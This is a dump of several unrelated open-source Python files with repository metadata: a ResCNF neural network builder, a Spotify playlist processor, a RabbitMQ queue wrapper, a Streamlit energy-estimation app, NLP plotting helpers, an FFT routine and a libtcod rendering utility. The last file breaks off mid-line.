shortcuts:\n shortcut_block = self.block_type(sh_in_chan, out_chan, stride=special_stride, bias=bias)\n shortcut_block_name = self.SHORTCUT_BLOCK_NAME.format(b, n, i)\n self.add_node([sh_in_node], shortcut_block_name, shortcut_block, (b, n))\n shortcuts_add_inputs.append(shortcut_block_name)\n # Add skip connection\n if sh_res:\n sh_skip = Skip_Block(sh_in_chan, out_chan, stride=special_stride, bias=bias)\n sh_skip_name = self.SHORTCUT_SKIP_NAME.format(b, n, i)\n self.add_node([sh_in_node], sh_skip_name, sh_skip, (b, n))\n shortcuts_add_inputs.append(sh_skip_name)\n\n # Add addition\n add_block = Add_Block()\n add_name = self.ADD_NAME.format(b, n)\n self.add_node(shortcuts_add_inputs + [skip_name, basic_block_name], add_name, add_block, (b, n))\n in_chan = out_chan\n last_node = add_name\n\n return last_node\n\n def add_node(self, in_nodes, node_name, module, pos, **args):\n pos = ResCNFDrawer.get_draw_pos(pos=pos, node_name=node_name)\n sampling_param = sampling_param_generator(self.static_node_proba, node_name)\n\n self.graph.add_node(node_name, module=module, sampling_param=len(self.sampling_parameters), pos=pos, **args)\n\n if sampling_param is not None:\n self.sampling_parameters.append(sampling_param)\n else:\n raise RuntimeError('Old version, should be fixed !')\n if isinstance(module, nn.Module):\n self.blocks.append(module)\n else:\n raise RuntimeError('Old version, should be fixed !')\n\n\n for input in in_nodes:\n self.graph.add_edge(input, node_name, width_node=node_name)\n\n def get_shortcut_source_nodes(self, block, depth, max_layers, shift):\n assert block > 0\n sources = []\n\n source_b = block - 1\n if 's' in shift:\n n = max_layers - depth - 2\n if n < 0:\n if block == 1:\n sources.append((self.INPUT_NAME, self.scale_factor))\n else:\n sources.append((self.IDENT_NAME.format(source_b), 2))\n else:\n sources.append((self.ADD_NAME.format(source_b, n), 1))\n\n if 'l' in shift and depth != 0:\n sources.append((self.ADD_NAME.format(source_b, max_layers - 1 - depth), 1))\n\n if 'r' in shift and depth != max_layers - 1:\n n = max_layers - depth - 3\n if n < 0:\n if block == 1:\n sources.append((self.INPUT_NAME, self.scale_factor))\n else:\n sources.append((self.IDENT_NAME.format(source_b), 2))\n else:\n sources.append((self.ADD_NAME.format(source_b, n), 1))\n\n return sources\n\n\ndef sampling_param_generator(static_node_proba, node_name):\n if static_node_proba >= 0:\n param_value = 1 if np.random.rand() < static_node_proba else -1\n param_value *= np.inf\n trainable = False\n else:\n param_value = 3\n trainable = True\n\n return nn.Parameter(torch.Tensor([param_value]), requires_grad=trainable)\n","repo_name":"TomVeniat/bsn","sub_path":"src/implem/ResCNF.py","file_name":"ResCNF.py","file_ext":"py","file_size_in_byte":11450,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"71"} +{"seq_id":"39838915350","text":"from spotifier import spotconnect\nfrom app.models import Playlist, Song\nfrom app import db\n\n\nclass FestivalProcessor:\n def __init__(self, festival, year, bands):\n self.festival = festival\n self.year = year\n self.bands = bands\n\n self.playlist_storage = Playlist(name=self.festival,\n year=int(year),\n bands=\", \".join(self.bands))\n db.session.add(self.playlist_storage)\n\n for band in self.bands:\n self.process_band(band, year)\n\n db.session.commit()\n\n def process_band(self, band, year):\n \"\"\"\n Iterate through the best songs from band before specific date\n in Spotify's database\n Stores them in app's DB\n \"\"\"\n # Searching songs for band\n sp = spotconnect.Spotifier()\n songs = sp.get_songs_before(band, year) # gets songs from Spotify\n\n for song in songs:\n song_storage = Song(artist_name=song[\"artists\"][0][\"name\"],\n song_name=song[\"name\"],\n album_name=song[\"album\"][\"name\"],\n release_date=song[\"album\"][\"release_date\"],\n popularity=song[\"popularity\"],\n uri=song[\"uri\"],\n external_urls=song[\"external_urls\"][\"spotify\"],\n list=self.playlist_storage)\n db.session.add(song_storage)\n","repo_name":"LeTarrask/Remember_that_night","sub_path":"spotifier/festivalprocessor.py","file_name":"festivalprocessor.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"25151426670","text":"\"\"\"\n.. code::\n\n from queue_manager.queue_manager import QueueManager\n conn_params = {\n 'host': '',\n 'port': '',\n 'username': '',\n 'password': ''\n }\n # or use multiple urls\n conn_params = ('amqp://host1', 'amqp://host2',)\n qm = QueueManager(conn_params)\n qm.push('hello', 'Hello from QueueManager')\n # True\n qm.pop('hello')\n # Hello from QueueManager\n del(qm)\n\"\"\"\nimport logging\n\ntry:\n import pika\nexcept ModuleNotFoundError:\n raise ModuleNotFoundError(\"You need to install pika\")\n\n\nclass QueueManager:\n connection = None\n connection_parameters = {}\n logger = None\n\n def __init__(self, connection_parameters, logger=logging.getLogger(__name__)):\n self.logger = logger\n self.logger.debug(\"init Queue Manager\")\n self.logger.debug(\"connection parameters %s:%s\", connection_parameters.get('host'),\n connection_parameters.get('port'))\n self.connection_parameters = connection_parameters\n\n def __connect(self):\n if 'urls' in self.connection_parameters:\n self.connection = pika.BlockingConnection(\n tuple(map(pika.URLParameters, self.connection_parameters['urls']))\n )\n return\n\n credentials = pika.PlainCredentials(\n self.connection_parameters.get('username'),\n self.connection_parameters.get('password')\n )\n parameters = pika.ConnectionParameters(\n host=self.connection_parameters.get('host'),\n port=self.connection_parameters.get('port'),\n virtual_host='/',\n credentials=credentials)\n self.connection = pika.BlockingConnection(parameters)\n\n def __get_channel(self, queue_name=None, queue_args=None):\n if not self.connection:\n self.__connect()\n self.logger.debug(\"getting channel\")\n channel = self.connection.channel()\n\n if queue_name:\n if queue_args:\n self.logger.debug('Declare queue %s',\n channel.queue_declare(queue=queue_name, arguments=queue_args))\n else:\n self.logger.debug('Declare queue %s', channel.queue_declare(queue=queue_name))\n\n return channel\n\n def push(self, queue_name, body, queue_args=None, pika_properties=None):\n channel = self.__get_channel(queue_name, queue_args)\n self.logger.debug(\"pushing %s to queue %s\", body, queue_name)\n ret = channel.basic_publish(\n exchange='',\n routing_key=queue_name,\n body=body,\n properties=pika_properties\n )\n self.logger.debug(\"pushed %s to queue %s return(%r)\", body, queue_name, ret)\n self.__disconnect()\n return ret\n\n def pop(self, queue_name, queue_args=None):\n channel = self.__get_channel(queue_name, queue_args)\n self.logger.debug(\"pop from queue %s\", queue_name)\n\n method_frame, header_frame, body = channel.basic_get(queue=queue_name)\n self.logger.debug(\"method_frame.NAME (%s)\", method_frame.NAME if method_frame else '')\n if method_frame and method_frame.NAME == 'Basic.GetOk':\n self.logger.debug(\"[x] Received %r\" % body)\n channel.basic_ack(delivery_tag=method_frame.delivery_tag)\n\n self.__disconnect()\n return body\n\n def ping(self):\n if not self.connection:\n self.__connect()\n return self.connection.is_open\n\n def __disconnect(self):\n if self.connection:\n self.logger.debug(\"disconnecting\")\n self.logger.debug(self.connection.close())\n self.connection = None\n\n def __del__(self):\n \"\"\"Disconnect when delete object.\"\"\"\n self.logger.info(\"Finishing\")\n self.__disconnect()\n","repo_name":"ateliedocodigo/py-queue-manager","sub_path":"queue_manager/queue_manager.py","file_name":"queue_manager.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"37083658731","text":"import streamlit as st\nimport joblib\nimport os\nfrom sklearn.preprocessing import LabelEncoder\nimport joblib\nimport pandas as pd\nimport numpy as np\n\n\nst.set_page_config(\n page_title=\"Energy Consumption Estimation\",\n page_icon=\":zap:\",\n layout=\"wide\",\n initial_sidebar_state=\"expanded\",\n menu_items={\n 'Get Help': 'https://www.linkedin.com/in/viralbthakar/',\n 'Report a bug': \"https://github.com/viralbthakar/fire-and-blood-qa/issues/new/choose\",\n 'About': \"This is an *extremely* cool app!\"\n }\n)\n\nst.title(\"Energy Consumption Estimation\")\nst.write(\"Counterfactual Model Development for Energy Consumption Estimation\")\n\nbuilding_id = st.number_input('Building ID')\nmeter = st.selectbox('Meter Type', ('electricity',\n 'steam', 'chilledwater', 'hotwater'))\nprimary_use = st.selectbox('Primary Use', ('Education', 'Lodging/residential', 'Office',\n 'Entertainment/public assembly', 'Other', 'Retail', 'Parking',\n 'Public services', 'Warehouse/storage', 'Food sales and service',\n 'Religious worship', 'Healthcare', 'Utility', 'Technology/science',\n 'Manufacturing/industrial', 'Services'))\nsquare_feet = st.number_input('Square Feet')\nair_temperature = st.number_input('Air Temperature')\ncloud_coverage = st.number_input('Cloud Coverage')\nprecip_depth_1_hr = st.number_input('Percipitation')\nsea_level_pressure = st.number_input('Sea Level Pressure')\nwind_direction = st.number_input('Wind Direction')\nwind_speed = st.number_input('Wind Speed')\nhour = st.number_input('Hour')\ndayofweek = st.number_input('Day of Week')\nmonth = st.number_input('Month')\nday = st.number_input('Day')\nisholiday = st.number_input('Holiday')\nseason = st.selectbox('Season', ('Autumn',\n 'Spring', 'Summer', 'Winter'))\nisdaytime = st.number_input('Day Time')\nrelative_humidity = st.number_input('Relative Humidity')\n\n\ndata_dict = {\n 'building_id': building_id,\n 'meter': meter,\n 'primary_use': primary_use,\n 'square_feet': square_feet,\n 'air_temperature': air_temperature,\n 'cloud_coverage': cloud_coverage,\n 'precip_depth_1_hr': precip_depth_1_hr,\n 'sea_level_pressure': sea_level_pressure,\n 'wind_direction': wind_direction,\n 'wind_speed': wind_speed,\n 'hour': hour,\n 'dayofweek': dayofweek,\n 'month': month,\n 'day': day,\n 'isHoliday': isholiday,\n 'season': season,\n 'IsDayTime': isdaytime,\n 'relative_humidity': relative_humidity\n}\nst.write(data_dict)\n\nprimary_use_encoder = LabelEncoder()\nprimary_use_encoder.classes_ = np.load(\n './models/primary_use_label_encoder.npy', allow_pickle=True)\n\nmeter_encoder = LabelEncoder()\nmeter_encoder.classes_ = np.load(\n './models/meter_label_encoder.npy', allow_pickle=True)\n\nseason_encoder = LabelEncoder()\nseason_encoder.classes_ = np.load(\n './models/season_label_encoder.npy', allow_pickle=True)\n\nmodel_dir = \"./models\"\nmodels = [f for f in os.listdir(model_dir) if os.path.splitext(f)[\n 1] == '.joblib']\nmodel = st.selectbox('Select Model', models)\nestimate = st.button(\"Estimate\")\n\nif estimate:\n model = joblib.load(os.path.join(model_dir, model))\n df = pd.DataFrame(data_dict, index=[0])\n\n df['primary_use'] = primary_use_encoder.transform(df['primary_use'])\n df['meter'] = meter_encoder.transform(df['meter'])\n df['season'] = season_encoder.transform(df['season'])\n\n st.header(f\"Estimated Energy Consumption: {model.predict(df)}\")\n","repo_name":"viralbthakar/ASHRAE-Great-Energy-Predictor","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"5529638619","text":"\"\"\"\nContains functions for visualisation of text\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom wordcloud import WordCloud\n\n\ndef wordcloud_plot(token_list, colormap='rainbow', ax=None):\n \"\"\" Word cloud of tokens\n\n Parameters\n ----------\n token_list : :obj:`list`\n list of tokens, can be obtained from nlp_tools.to_list()\n colormap : :obj:`str`\n colormap object, see predifened colormaps at https://matplotlib.org/examples/color/colormaps_reference.html\n [optional, default = 'rainbow']\n ax : :obj:`matplotlib.axes.Axis`\n Axis object for figure\n\n Returns\n -------\n fig : :obj:`matplotlib.figure.Figure`\n Figure object line plot of word counts\n ax : :obj:`matplotlib.axes.Axis`\n Axis object for figure\n\n \"\"\"\n if ax is None:\n fig, ax = plt.subplots(1, 1, figsize=(10, 15))\n else:\n fig = None\n\n wordcloud = WordCloud(width=1500, height=1200, margin=0,\n colormap=colormap,\n collocations=False).generate(' '.join(token_list))\n\n ax.imshow(wordcloud, interpolation='bilinear')\n ax.axis(\"off\")\n\n return fig, ax\n\n\ndef dist_plot_detailed(word_counts, log=False, ax=None):\n \"\"\" Frequency count of tokens in a SMALL Corpus (<50 unique tokens) with words on the x-axis\n\n Parameters\n ----------\n word_counts : :obj:`list`\n sorted list of words and their respective frequency, can be obtained from nlp_distributions.count()\n log : :obj:`bool`\n make y axis logarithmic [optional, default = False]\n ax : :obj:`matplotlib.axes.Axis`\n Axis object for figure\n\n Returns\n -------\n fig : :obj:`matplotlib.figure.Figure`\n Figure object line plot of word counts\n ax : :obj:`matplotlib.axes.Axis`\n Axis object for figure\n\n Notes\n -----\n If there are more than 50 unique tokens then the plot will be too busy and may crash your machine while computing\n\n \"\"\"\n if ax is None:\n fig, ax = plt.subplots(1, 1, figsize=(10, 15))\n else:\n fig = None\n\n words = [str(w[0]) for w in word_counts]\n counts = np.asarray([w[1] for w in word_counts])\n\n # print (len(words))\n # print (len(counts))\n\n\n if log:\n ax.semilogy(range(len(words)),counts)\n ax.set_title('Log. Word Frequencies')\n ax.set_ylabel('Log. word count')\n else:\n ax.plot(range(len(words)),counts)\n ax.set_title('Word Frequencies')\n ax.set_ylabel('Word count')\n\n ax.grid(True)\n\n ax.set_xticks(range(len(words)))\n ax.set_xticklabels(words, rotation=90)\n ax.set_xlabel('Words')\n\n return fig, ax\n\n\ndef dist_plot(word_counts, log=False, shade_singles=True, shade_top25=True, ax=None):\n \"\"\" Frequency count of tokens\n\n Parameters\n ----------\n word_counts : :obj:`list`\n sorted list of words and their respective frequency, can be obtained from nlp_distributions.count()\n log : :obj:`bool`\n make y axis logarithmic [optional, default = False]\n shade_singles : :obj:`bool`\n shade area on graph where token counts are 1 [optional, default = True]\n shade_top25 : :obj:`bool`\n shade area on graph where tokens count for top quarter of tokens [optional, default = True]\n ax : :obj:`matplotlib.axes.Axis`\n Axis object for figure\n\n Returns\n -------\n fig : :obj:`matplotlib.figure.Figure`\n Figure object line plot of word counts\n ax : :obj:`matplotlib.axes.Axis`\n Axis object for figure\n\n \"\"\"\n if ax is None:\n fig, ax = plt.subplots(1, 1, figsize=(10, 15))\n else:\n fig = None\n\n counts = np.asarray([w[1] for w in word_counts])\n\n # ax.set_xticklabels(ax.get_xticklabels(True), rotation=90)\n ax.set_xlabel('Index of word')\n ax.grid(True)\n\n if shade_singles:\n ax.axvspan(min(np.argwhere(counts == 1.)), max(np.argwhere(counts == 1.)), alpha=0.5,\n color='lightblue', label='single-occurance')\n ax.legend()\n\n if shade_top25:\n num_words = sum(counts)\n words_cum_sum = np.cumsum(counts)\n top25 = num_words / 4.\n # last_top25_ind = max(np.argwhere(words_cum_sum <= top25))\n ax.axvspan(min(np.argwhere(words_cum_sum <= top25)), max(np.argwhere(words_cum_sum <= top25)),\n alpha=0.5, color='red', label='25% of occurances')\n ax.legend()\n\n if log:\n ax.semilogy(counts, color='k')\n ax.set_title('Log. Word Frequencies')\n ax.set_ylabel('Log. word count')\n else:\n ax.plot(counts, color='k')\n ax.set_title('Word Frequencies')\n ax.set_ylabel('Word count')\n\n return fig, ax\n","repo_name":"equinor/eNLP","sub_path":"enlp/visualisation/freq_distribution.py","file_name":"freq_distribution.py","file_ext":"py","file_size_in_byte":4675,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"71"} +{"seq_id":"9169561008","text":"import numpy as np\n\n\ndef DFT_slow(x):\n x = np.asarray(x, dtype=float) #convert into array\n N = x.shape[0] #find dimension of array\n n = np.arange(N) #create a array in range(N)\n k = n.reshape((N, 1)) #Create a list of list for this [[0][1]..\n M = np.exp(-2j * np.pi * k * n / N) #generate expontial\n return np.dot(M, x)\n\n\ndef FFT(x):\n x = np.asarray(x, dtype=float)\n N = x.shape[0]\n\n if N % 2 > 0:\n raise ValueError(\"size of x must be a power of 2\")\n elif N <= 32: # this cutoff should be optimized\n return DFT_slow(x)\n else:\n X_even = FFT(x[::2])\n X_odd = FFT(x[1::2])\n factor = np.exp(-2j * np.pi * np.arange(N) / N)\n return np.concatenate([X_even + factor[:int(N/2)] * X_odd,\n X_even + factor[int(N/2):] * X_odd])\nx = [2,4,5,6]\n\nprint(FFT(x))\nprint(\"\\n\")\nprint(np.fft.fft(x))\n# print(FFT(x))","repo_name":"rvsingh011/NitK_Assignments","sub_path":"Sem1/Algorithm/fft.py","file_name":"fft.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"19786590201","text":"import textwrap\n\nimport numpy as np\nimport tcod as libtcod\n\n\ndef dim_rgb(rgb, dc: int):\n \"\"\"\n Dim a colour by a specified amount\n :param rgb: the RGB colour that you want to dim\n :param dc: how much do you want to dim it by?\n :return: a libtcod.Color object with the dimmed RGB colour\n \"\"\"\n r, g, b = rgb\n r = min(max(0, r - dc),255)\n g = min(max(0, g - dc),255)\n b = min(max(0, b - dc),255)\n return libtcod.Color(r, g, b)\n\n\nclass ScreenObject:\n BLANK_CHAR = ' '\n NONE_CHAR = 0\n\n def __init__(self, char: int, fg: int = libtcod.white, bg: int = libtcod.black):\n self.char = char\n self.fg = fg\n self.bg = bg\n\n def render(self, con, x: int, y: int):\n libtcod.console_put_char_ex(con, x, y, self.char, fore=self.fg, back=self.bg)\n\n def clear(self, con, x, y):\n libtcod.console_put_char(con, x, y, ' ', libtcod.BKGND_NONE)\n\n\nclass ScreenObject2DArray:\n \"\"\"\n Class to render 2D arrays of characters onto a console.\n The characters can either be defined as strings or the int value of the character e.g. 32 = SPACE\n \"\"\"\n\n def __init__(self, chars: list, fg: int = libtcod.white, bg: int = libtcod.black):\n \"\"\"\n Create an object for rendering 2D arrays\n :param chars: the 2D array of characters to be rendered\n :param fg: foreground colour\n :param bg: background colour\n \"\"\"\n self.chars = chars\n self.fg = fg\n self.bg = bg\n\n def render(self, con, x: int, y: int):\n \"\"\"\n Render the 2D array onto the console\n :param con: the console that we are going to draw on\n :param x: the x position where we are going to start drawing the array\n :param y: the y position where we are going to start drawing the array\n \"\"\"\n\n #Loop through the x axis of the array\n for dx, col in enumerate(self.chars):\n # Loop through the y axis of teh array\n for dy, char in enumerate(col):\n # if the type of the object to be drawn is an int then convert it to a character\n if type(char) == 'int':\n char = chr(char)\n\n # If the character is not the NONE character then draw it with the specified foreground and background colours\n if char != ScreenObject.NONE_CHAR:\n libtcod.console_put_char_ex(con, x + dx, y + dy, char, fore=self.fg, back=self.bg)\n\n def clear(self, con, x: int, y: int):\n for dy, row in enumerate(self.chars):\n for dx, char in enumerate(row):\n libtcod.console_put_char(con, x + dx, y + dy, ' ', libtcod.BKGND_NONE)\n\n\nclass ScreenObjectList:\n\n def __init__(self, char: str, positions: list, fg: int = libtcod.white, bg: int = libtcod.black):\n self.char = char\n self.positions = positions\n self.fg = fg\n self.bg = bg\n\n def render(self, con):\n for x, y in self.positions:\n if self.char != ScreenObject.NONE_CHAR:\n libtcod.console_put_char_ex(con, x, y, self.char, fore=self.fg, back=self.bg)\n\n\nclass ScreenString:\n \"\"\"\n Class for printing strings on a console\n \"\"\"\n\n def __init__(self, text: str, fg: int = libtcod.white, bg: int = libtcod.black, alignment: int = libtcod.LEFT):\n self.text = text\n self.fg = fg\n self.bg = bg\n self.alignment = alignment\n\n def render(self, con, x: int, y: int, alignment: int = None):\n if alignment is None:\n alignment = self.alignment\n libtcod.console_set_default_foreground(con, self.fg)\n libtcod.console_set_default_background(con, self.bg)\n libtcod.console_print_ex(con, x, y, flag=libtcod.BKGND_SET, alignment=alignment, fmt=self.text)\n\n\nclass ScreenStringRect:\n\n def __init__(self, text: str, width: int, height: int,\n fg: int = libtcod.white, bg: int = libtcod.black,\n alignment: int = libtcod.LEFT,\n fill_char=0):\n self.text = text\n self.width = width\n self.height = height\n self.fill_char = fill_char\n self.fg = fg\n self.bg = bg\n self.alignment = alignment\n\n def render(self, con, x: int, y: int, alignment: int = None):\n if alignment is None:\n alignment = self.alignment\n\n if self.fill_char != 0:\n box = np.full((self.width, self.height), self.fill_char)\n for dx, col in enumerate(box):\n for dy, char in enumerate(col):\n if type(char) == 'int':\n char = chr(char)\n if char != ScreenObject.NONE_CHAR:\n libtcod.console_put_char_ex(con, x + dx, y + dy, char, fore=self.fg, back=self.bg)\n\n libtcod.console_set_default_foreground(con, self.fg)\n libtcod.console_set_default_background(con, self.bg)\n libtcod.console_print_rect_ex(con, x, y, self.width, self.height,\n flag=libtcod.BKGND_SET,\n alignment=alignment,\n fmt=self.text\n )\n\n\nclass TextEntryBox:\n \"\"\":param\"\"\"\n\n DEFAULT_LENGTH = 30\n\n ALPHA_KEYS = [i for i in range(ord('a'), ord('z') + 1)]\n NUMERIC_KEY_PAD_VKS = [i for i in range(libtcod.KEY_KP0, libtcod.KEY_KP9 + 1)]\n\n def __init__(self, width: int = DEFAULT_LENGTH, height: int = 1,\n parent=0,\n fg = libtcod.white,\n bg = libtcod.black,\n xpos: int = 0, ypos: int = 0,\n label:str = None,\n text:str = None):\n \"\"\"\n :param width: display width of the text entry box\n :param height: display height of the text entry box\n :param parent: parent console that the text entry box will be blitted to\n :param xpos: x position on the parent console where the text entry box will appear\n :param ypos: y position on the parent console where the text entry box will appear\n \"\"\"\n\n # Dimensions of the text entry box\n self.width = width\n self.height = height\n\n # Parent console and position to display text entry box\n self.parent_console = parent\n self.xpos = xpos\n self.ypos = ypos\n\n # FG and BG of text\n self.fg = fg\n self.bg = bg\n\n # Define allowable characters\n self.mask_ranges = (['0', '9'], ['a', 'z'], ['A', 'Z'])\n self.mask_specials = \"+,. \"\n\n if text is None:\n self.text = \"\"\n else:\n self.text = text\n\n if label is None:\n self.label = \"\"\n else:\n self.label=label\n\n # Create a console to use as the text box entry\n self.con = libtcod.console_new(self.width, self.height)\n\n def build_input_mask(self):\n self.mask = []\n for mask_range_start, mask_range_end in self.mask_ranges:\n self.mask.extend([char for char in range(ord(mask_range_start), ord(mask_range_end) + 1)])\n self.mask.extend([ord(char) for char in self.mask_specials])\n\n def get_text(self, max_length: int = None) -> str:\n \"\"\"\n :param max_length: maximum allowable length of text that can be entered\n \"\"\"\n\n # If no max length specified then use the full size of the input box\n if max_length is None:\n max_length = self.width * self.height\n\n self.build_input_mask()\n\n self.con.default_fg = self.fg\n self.con.default_bg = self.bg\n\n print(f\"Getting some text (max {max_length} chars)\")\n print(f'Using mask {self.mask}')\n\n key = libtcod.Key()\n mouse = None\n\n text = self.text\n typing = True\n cursor_on = True\n\n while typing:\n\n libtcod.sys_sleep_milli(50)\n\n # Clear the text box\n libtcod.console_clear(self.con)\n\n # Print out what the user has currently entered\n dtext = self.label+(text + \"*\" if cursor_on else text)\n cursor_on = not cursor_on\n\n for y, l in enumerate(textwrap.wrap(dtext, self.width)):\n self.con.print_(0, y, l)\n\n # Process key release events\n libtcod.sys_check_for_event(libtcod.EVENT_KEY_PRESS, key, mouse)\n\n # If a key was pressed...\n if key.vk != libtcod.KEY_NONE:\n\n # If enter pressed then we are done!\n if key.vk in (libtcod.KEY_ENTER, libtcod.KEY_KPENTER):\n typing = False\n # If backspace pressed the delete last character\n elif key.vk == libtcod.KEY_BACKSPACE:\n text = text[:-1]\n # If ESC pressed then we are done but no typing!\n elif key.vk == libtcod.KEY_ESCAPE:\n typing = False\n text = \"\"\n # If we have not hit the max length for the entered text...\n elif len(text) < max_length:\n # If the pressed key is in our input mask then append to text\n if key.c in self.mask:\n if key.c in TextEntryBox.ALPHA_KEYS and key.shift is True:\n text += chr(key.c).upper()\n else:\n text += chr(key.c)\n # If the numeric pad was used...\n elif key.vk in TextEntryBox.NUMERIC_KEY_PAD_VKS:\n c = str(key.vk - libtcod.KEY_KP0)[0]\n if ord(c) in self.mask:\n text += c\n\n # Blit the text box console to the parent console\n libtcod.console_blit(self.con, 0, 0, self.width, self.height, self.parent_console, self.xpos, self.ypos)\n\n # Flush the parent console\n libtcod.console_flush(self.parent_console)\n\n return text\n\n\nclass Boxes:\n BORDER_DEFAULT = \"default\"\n BORDER_TYPE_1 = \"type1\"\n BORDER_TYPE_2 = \"type2\"\n BORDER_TYPE_3 = \"type3\"\n\n DIVIDER_HORIZONTAL = \"horizontal\"\n DIVIDER_VERTICAL = \"vertical\"\n\n BORDER_TL = 0\n BORDER_T = 1\n BORDER_TR = 2\n BORDER_L = 3\n BORDER_M = 4\n BORDER_R = 5\n BORDER_BL = 6\n BORDER_B = 7\n BORDER_BR = 8\n BORDER_H = 9\n BORDER_V = 10\n\n MOVE_UP = \"U\"\n MOVE_DOWN = \"D\"\n MOVE_LEFT = \"L\"\n MOVE_RIGHT = \"R\"\n\n MOVE_TO_VECTOR = {\n MOVE_UP: (0, -1),\n MOVE_DOWN: (0, 1),\n MOVE_LEFT: (-1, 0),\n MOVE_RIGHT: (1, 0)\n }\n\n # Map adjacent (Top, Bottom, Left, Right) tiles to middle tile\n MAP_ADJACENT_TO_BORDER = {\n\n (0, 0, 0, 0): None,\n (0, 0, 0, 1): BORDER_L,\n (0, 0, 1, 0): BORDER_R,\n (0, 0, 1, 1): BORDER_H,\n (0, 1, 0, 0): BORDER_V,\n (0, 1, 0, 1): BORDER_TL,\n (0, 1, 1, 0): BORDER_TR,\n (0, 1, 1, 1): BORDER_T,\n (1, 0, 0, 0): BORDER_V,\n (1, 0, 0, 1): BORDER_BL,\n (1, 0, 1, 0): BORDER_BR,\n (1, 0, 1, 1): BORDER_B,\n (1, 1, 0, 0): BORDER_V,\n (1, 1, 0, 1): BORDER_L,\n (1, 1, 1, 0): BORDER_R,\n (1, 1, 1, 1): BORDER_M\n }\n\n BORDER_CHAR_MAPS = {\n\n BORDER_TYPE_1: (218, 194, 191, 195, 197, 180, 192, 193, 217, 196, 179),\n BORDER_TYPE_2: (201, 203, 187, 204, 206, 185, 200, 202, 188, 205, 186),\n BORDER_TYPE_3: (43, 43, 43, 43, 43, 43, 43, 43, 43, 124, 45),\n BORDER_DEFAULT: [ord('#') for i in range(11)]\n }\n\n def __init__(self):\n pass\n\n @staticmethod\n def get_box(width, height, border_type: str = BORDER_DEFAULT, fill_char=0):\n\n border_char_map = Boxes.BORDER_CHAR_MAPS.get(border_type)\n\n if border_char_map is None:\n border_char_map = Boxes.BORDER_CHAR_MAPS.get(Boxes.BORDER_DEFAULT)\n\n assert (border_char_map is not None)\n\n if type(fill_char) == 'int' and fill_char != 0:\n fill_char = chr(fill_char)\n\n box = np.full((width, height), ord('#'))\n box[0, 0] = border_char_map[Boxes.BORDER_TL]\n box[width - 1, 0] = border_char_map[Boxes.BORDER_TR]\n box[0, height - 1] = border_char_map[Boxes.BORDER_BL]\n box[width - 1, height - 1] = border_char_map[Boxes.BORDER_BR]\n box[1:-1, 0] = border_char_map[Boxes.BORDER_H]\n box[1:-1, height - 1] = border_char_map[Boxes.BORDER_H]\n box[0, 1:-1] = border_char_map[Boxes.BORDER_V]\n box[width - 1, 1:-1] = border_char_map[Boxes.BORDER_V]\n box[1:-1, 1:-1] = fill_char\n\n return box\n\n @staticmethod\n def box_to_text(box: np.array) -> str:\n w, h = box.shape\n box_text = \"\"\n for x in range(w):\n for y in range(h):\n c = box[x, y]\n box_text += chr(c) if c != 0 else \" \"\n box_text += \"\\n\"\n\n return box_text\n\n @staticmethod\n def get_box_divider(length: int, border_type: str = BORDER_DEFAULT, orient=DIVIDER_HORIZONTAL):\n\n border_char_map = Boxes.BORDER_CHAR_MAPS.get(border_type)\n\n if border_char_map is None:\n border_char_map = Boxes.BORDER_CHAR_MAPS.get(Boxes.BORDER_DEFAULT)\n\n assert (border_char_map is not None)\n\n if orient == Boxes.DIVIDER_HORIZONTAL:\n box = np.full((length, 1), border_char_map[Boxes.BORDER_H])\n box[0, 0] = border_char_map[Boxes.BORDER_L]\n box[-1, -1] = border_char_map[Boxes.BORDER_R]\n else:\n box = np.full((1, length), border_char_map[Boxes.BORDER_V])\n box[0, 0] = border_char_map[Boxes.BORDER_T]\n box[-1, -1] = border_char_map[Boxes.BORDER_B]\n return box\n\n @staticmethod\n def turtle_to_box(instructions: str):\n\n vectors = []\n instuction_list = \"\"\n for i in instructions.split(\"|\"):\n # print(i)\n cmd, qty = i.split(\":\")\n cmd = cmd.upper()\n steps = int(qty)\n instuction_list += str(cmd * steps)\n vector = Boxes.MOVE_TO_VECTOR[cmd]\n # print(f'go {cmd} {steps} steps = {vector}')\n vectors.append(vector)\n\n # print(instuction_list)\n\n current = np.array([0, 0])\n x, y = current\n min_x = max_x = x\n min_y = max_y = y\n for i in instuction_list:\n current += Boxes.MOVE_TO_VECTOR[i]\n x, y = current\n min_x = min(x, min_x)\n min_y = min(y, min_y)\n max_x = max(x, max_x)\n max_y = max(y, max_y)\n # print(f'c({x},{y}: x({min_x}, {max_x}) y({min_y}, {max_y})')\n\n width = max_x - min_x + 1\n height = max_y - min_y + 1\n\n box = np.zeros((width, height), dtype=int)\n current = np.array([0 - min_x, 0 - min_y])\n x, y = current\n box[x, y] = 1\n\n for i in instuction_list:\n current += Boxes.MOVE_TO_VECTOR[i]\n x, y = current\n box[x, y] = 1\n\n # last_i = None\n # for i in instuction_list:\n #\n # if last_i is not None:\n # current += Boxes.MOVE_TO_VECTOR[i]\n # x, y = current\n # box[x, y] = 1\n #\n # last_i = i\n # last_x = x\n # lasy_y = y\n\n return box\n\n @staticmethod\n def array_to_border(template: np.array, border_type=BORDER_TYPE_1):\n\n type_map = Boxes.BORDER_CHAR_MAPS[border_type]\n\n adjacent_vectors = (Boxes.MOVE_UP, Boxes.MOVE_DOWN, Boxes.MOVE_LEFT, Boxes.MOVE_RIGHT)\n\n w, h = template.shape\n\n expanded = np.zeros((w + 2, h + 2), dtype=int)\n expanded[1:-1, 1:-1] = template\n border = np.zeros((w + 2, h + 2), dtype=int)\n\n for x in range(1, w + 1):\n for y in range(1, h + 1):\n if expanded[x, y] == 0:\n continue\n current_pos = np.array([x, y])\n key = []\n for vector_name in adjacent_vectors:\n vector = Boxes.MOVE_TO_VECTOR[vector_name]\n adj = np.add(current_pos, vector)\n ax, ay = adj\n adj_value = expanded[ax, ay]\n key.append(adj_value)\n border_segment = 